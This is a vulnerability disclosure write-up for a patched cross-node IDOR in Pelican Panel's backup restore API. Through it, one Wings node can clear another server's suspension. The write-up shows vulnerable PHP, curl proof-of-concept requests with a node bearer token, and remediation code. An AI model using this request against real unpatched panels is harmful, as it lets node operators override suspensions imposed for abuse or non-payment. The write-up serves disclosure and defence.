Cross-Node Backup Restore IDOR with Server Suspension Bypass in Pelican Panel
What is Pelican?
Pelican-dev is a free, open-source game server management and control panel. Built as a modern, community-driven successor to Pterodactyl, it allows you to create, manage, and share game servers through a sleek, web-based interface.
Disclosure timeline:
- Found: 04-Apr-2026
- Reported: 04-Apr-2026
- Versions affected: <=v1.0.0-beta33
- Patched: 09-Apr-2026 (v1.0.0-beta34, PR #2293)
- Public writeup: 11-Jun-2026
No formal security advisory was published at the developer’s discretion. Since the patch is public, this writeup serves as the public record of the vulnerability.
Description
Pelican Panel’s remote API endpoint for backup restoration (POST /api/remote/backups/{uuid}/restore) is missing a node ownership validation check. This endpoint is part of the daemon-facing API, authenticated via Wings node bearer tokens.
The restore() method in BackupStatusController.php accepts any valid backup UUID and sets the associated server’s status field to null without verifying that the requesting node owns the server. A compromised or malicious Wings daemon (Node A) can send a restore request with a backup UUID belonging to a server on a different node (Node B), manipulating that server’s state without authorization.
The status field controls server state including suspended. Setting it to null clears any active state, effectively bypassing server suspensions. A compromised node can unsuspend servers across the entire panel infrastructure that were suspended for abuse, non-payment, or TOS violations.
This is the same vulnerability class as the previously reported GHSA-v97c-v3vw-p5ff. The index() method on the same controller was patched with a node ownership check, but the restore() method was not, making this an incomplete fix.
Enough talking, let’s get to work
Vulnerable Code
File: app/Http/Controllers/Api/Remote/Backups/BackupStatusController.php
The restore() method (line 95) does not validate node ownership:
public function restore(Request $request, string $backup): JsonResponse
{
$model = Backup::query()->where('uuid', $backup)->firstOrFail();
$model->server->update(['status' => null]);
// ...
}
Compare with the index() method (line 34) on the same controller, which correctly validates ownership:
public function index(ReportBackupCompleteRequest $request, string $backup): JsonResponse
{
$node = $request->attributes->get('node');
$model = Backup::query()->where('uuid', $backup)->firstOrFail();
$server = $model->server;
if ($server->node_id !== $node->id) {
throw new HttpForbiddenException('You do not have permission to access that backup.');
}
// ...
}
Route definition in routes/api-remote.php:
Route::prefix('/backups')->group(function () {
Route::post('/{backup:uuid}', [BackupStatusController::class, 'index']); // PATCHED
Route::post('/{backup:uuid}/restore', [BackupStatusController::class, 'restore']); // NOT PATCHED
});
The server status field is defined in app/Enums/ServerState.php:
enum ServerState: string
{
case Installing = 'installing';
case InstallFailed = 'install_failed';
case ReinstallFailed = 'reinstall_failed';
case Suspended = 'suspended';
case RestoringBackup = 'restoring_backup';
}
Setting status to null clears any of these states, including suspended.
Proof of Concept
Environment: Two Wings nodes connected to one panel instance.
- Node 1 (port 4040)
- Node 2 (port 4041)
- Server “TestNode2Server” on Node 2, with one backup (UUID:
47188bea-fb9f-490d-87e7-cacfe0d4cf12)
Step 1 - Suspend the target server:
Suspend the server on Node 2 via Admin > Servers > Suspend. The server shows status “Suspended” (yellow badge).

Step 2 - Send restore request using Node 1’s token:
curl -v -X POST http://panel.local:9090/api/remote/backups/47188bea-fb9f-490d-87e7-cacfe0d4cf12/restore \
-H "Authorization: Bearer 8rlZzlCibNORvbpa.EJMuE3HnXdaDztggiur3DmV2aBlj1Ba00RFgOs4P2lX82tf8baYqaJWinVSPYvg5" \
-H "Content-Type: application/json" \
-d '{"successful": true}'
Result: HTTP 204 - the request succeeds despite Node 1 having no authority over Node 2’s server.

Step 3 - Verify suspension bypass:
Refresh the admin panel. The server status has changed from “Suspended” (yellow badge) to “Offline” (red badge). The suspension has been cleared.

Step 4 - Control test on patched endpoint:
curl -v -X POST http://panel.local:9090/api/remote/backups/47188bea-fb9f-490d-87e7-cacfe0d4cf12 \
-H "Authorization: Bearer 8rlZzlCibNORvbpa.EJMuE3HnXdaDztggiur3DmV2aBlj1Ba00RFgOs4P2lX82tf8baYqaJWinVSPYvg5" \
-H "Content-Type: application/json" \
-d '{"successful": true, "checksum_type","checksum":"x","size":1}'
Result: HTTP 302 (redirect/forbidden) - the index() endpoint correctly rejects the cross-node request, confirming the asymmetry between the two endpoints.

Impact
- Suspension bypass: A compromised node can unsuspend any server in the panel regardless of which node it belongs to. Servers suspended for abuse, non-payment, or TOS violations are reactivated without authorization
- Cross-node state manipulation: Any authenticated Wings daemon can modify the state of servers on other nodes, breaking the node isolation model
- Incomplete security fix: This is the same vulnerability pattern as GHSA-v97c-v3vw-p5ff. The
index()endpoint was patched butrestore()was not, indicating the fix was incomplete - Multi-tenant risk: In hosting environments where different customers manage different nodes, a malicious node operator can manipulate servers across the entire infrastructure
Remediation
1. Add Node Ownership Check to restore()
Apply the same validation that already exists in the index() method on the same controller:
public function restore(Request $request, string $backup): JsonResponse
{
$node = $request->attributes->get('node');
$model = Backup::query()->where('uuid', $backup)->firstOrFail();
if ($model->server->node_id !== $node->id) {
throw new HttpForbiddenException('You do not have permission to access that backup.');
}
$model->server->update(['status' => null]);
// ...
}
2. Audit All Daemon-Facing Endpoints
Review every route in routes/api-remote.php that accepts a resource identifier (server UUID, backup UUID) and verify that each one validates the requesting node’s ownership of that resource. The same missing check may exist on other endpoints.
3. Implement Middleware-Level Node Ownership Enforcement
Rather than relying on each controller method to individually check ownership, create a middleware that automatically validates node ownership for any daemon route that references a server or backup resource, preventing future omissions.
Message from the Developer
This was fixed in #2293 (commit 1817383), which shipped in v1.0.0-beta34.
The node-ownership check is now present on restore() in BackupStatusController.php:
public function restore(Request $request, string $backup): JsonResponse
{
$model = Backup::query()->where('uuid', $backup)->firstOrFail();
$node = $request->attributes->get('node');
if (!$model->server->node->is($node)) {
throw new HttpForbiddenException('Requesting node does not have permission to access this server.');
}
// ...
Functionally equivalent to the suggested node_id comparison — Model::is() checks the same key and table.
References
- Pelican-dev/Panel
- Related prior advisory (same vulnerability class, different endpoint): GHSA-v97c-v3vw-p5ff
- Pull Request #2293
- Commit 1817383